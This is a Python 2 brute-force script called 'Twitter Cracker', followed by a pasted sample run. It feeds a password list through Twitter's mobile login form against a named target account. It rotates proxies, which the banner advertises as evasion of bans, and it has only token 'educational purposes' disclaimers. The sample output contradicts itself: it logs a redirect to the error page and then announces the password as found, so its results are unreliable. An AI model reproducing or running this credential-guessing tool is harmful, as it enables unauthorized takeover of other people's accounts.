#!usr/bin/python
#Twitter Cracker Version 1 can crack into Twitter Database 100% without Interruption By Firewall !
#This program is for educational purposes only.
#Don't attack people Twitter accounts it's illegal !
#If you want to crack into someone's account, you must have the permission of the user.



import sys
import random
import mechanize
import cookielib


GHT = '''
        +=======================================+
        |..........Twitter Cracker v 2..........|
        +---------------------------------------+
        |#Date: 05/07/2016                      |
        |#This tool is made for pentesting.     |
        |#Changing the Description of this tool |
        |Won't made you the coder ^_^ !!!       |
        |#Respect Coderz ^_^                    |
        +=======================================+
        |..........Twitter Cracker v 2..........|
        +---------------------------------------+
'''
print "Used and Abused!"
print "Changelog: Added poxy Support "
print "Modified with current twitter login version : 05.07.2016"
print "proxy support added for ban evasion"
print "Note: - This tool can crack Twitter account even if you don't have the email of your victim"
print "# Hit CTRL+C to quit the program"

print "#note this is not an efficient cracking"

username = str(raw_input("# Enter |Username| Twitter  : "))
passwordlist = str(raw_input("Enter the name of the password list file : "))
proxy = open(raw_input('# Enter proxy list :'),'r')

useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]



login = 'https://mobile.twitter.com/session'
home = 'https://mobile.twitter.com/home'
error = ' https://mobile.twitter.com/login/error?username_or_email='+ username +'&redirect_after_login=%2F'
def attack(password):

  try:
     sys.stdout.write("\r[*] trying %s.. " % password)
     sys.stdout.flush()
     br.addheaders = [('User-agent', random.choice(useragents))]
     site = br.open(login)
     br.select_form(nr=0)

     br.form['session[username_or_email]'] = username
     br.form['session[password]'] = password
     br.submit()
     log = br.geturl()
     print(log)
     print(error)
     if log != error:
        print "\n\n\n [*] Password Twitter found .. !!"
        print "\n [*] Password : %s\n" % (password)
        sys.exit(1)
  except KeyboardInterrupt:
        print "\n[*] Exiting program .. "
        sys.exit(1)

def search():
    global password
    for password in passwords:
        attack(password.replace("\n",""))



def check():

    global br
    global passwords
    try:
       br = mechanize.Browser()
       cj = cookielib.LWPCookieJar()
       br.set_handle_robots(False)
       br.set_handle_equiv(True)
       br.set_handle_referer(True)
       br.set_handle_redirect(True)
       br.set_cookiejar(cj)
       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
    except KeyboardInterrupt:
       print "\n[*] Exiting program ..\n"
       sys.exit(1)
    try:
       list = open(passwordlist, "r")
       passwords = list.readlines()
       k = 0
       while k < len(passwords):
          passwords[k] = passwords[k].strip()
          k += 1
    except IOError:
        print "\n [*] Error: check your password list path \n"
        sys.exit(1)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        print GHT
        print " [*] Account to crack : %s" % (username)
        print " [*] Loaded :" , len(passwords), "passwords"
        print " [*] Cracking, please wait ..."
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        search()
        attack(password)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)

if __name__ == '__main__':
    check()





*******************************************************************output*********************************************
Used and Abused!
Changelog: Added poxy Support
Modified with current twitter login version : 05.07.2016
proxy support added for ban evasion
Note: - This tool can crack Twitter account even if you don't have the email of your victim
# Hit CTRL+C to quit the program
#note this is not an efficient cracking
# Enter |Username| Twitter  : JustV_Live
Enter the name of the password list file : pwd.lst
# Enter proxy list :proxy.lst

        +=======================================+
        |..........Twitter Cracker v 1..........|
        +---------------------------------------+
        |#Author: Mauritania Attacker/          |
        |Modified by:twitter.com/BlackHatSatanic|
        |#Contact: Behind you ^_^               |
        |#Date: 05/07/2016                      |
        |#This tool is made for pentesting.     |
        |#Changing the Description of this tool |
        |Won't made you the coder ^_^ !!!       |
        |#Respect Coderz ^_^                    |
        |#I take no responsibilities for the    |
        |  use of this program !                |
        |                                       |
        |                                       |
        +=======================================+
        |..........Twitter Cracker v 2..........|
        +---------------------------------------+

 [*] Account to crack : JustV_Live
 [*] Loaded : 2 passwords
 [*] Cracking, please wait ...

[*] trying dfnsndfsd..
[*] redirected to https://mobile.twitter.com/login/error?username_or_email=JustV_Live&redirect_after_login=%2F
[*]if redirected to = https://mobile.twitter.com/login/error?username_or_email=JustV_Live&redirect_after_login=%2F try next password



 [*] Password Twitter found .. !!

 [*] Password : dfnsndfsd

>>>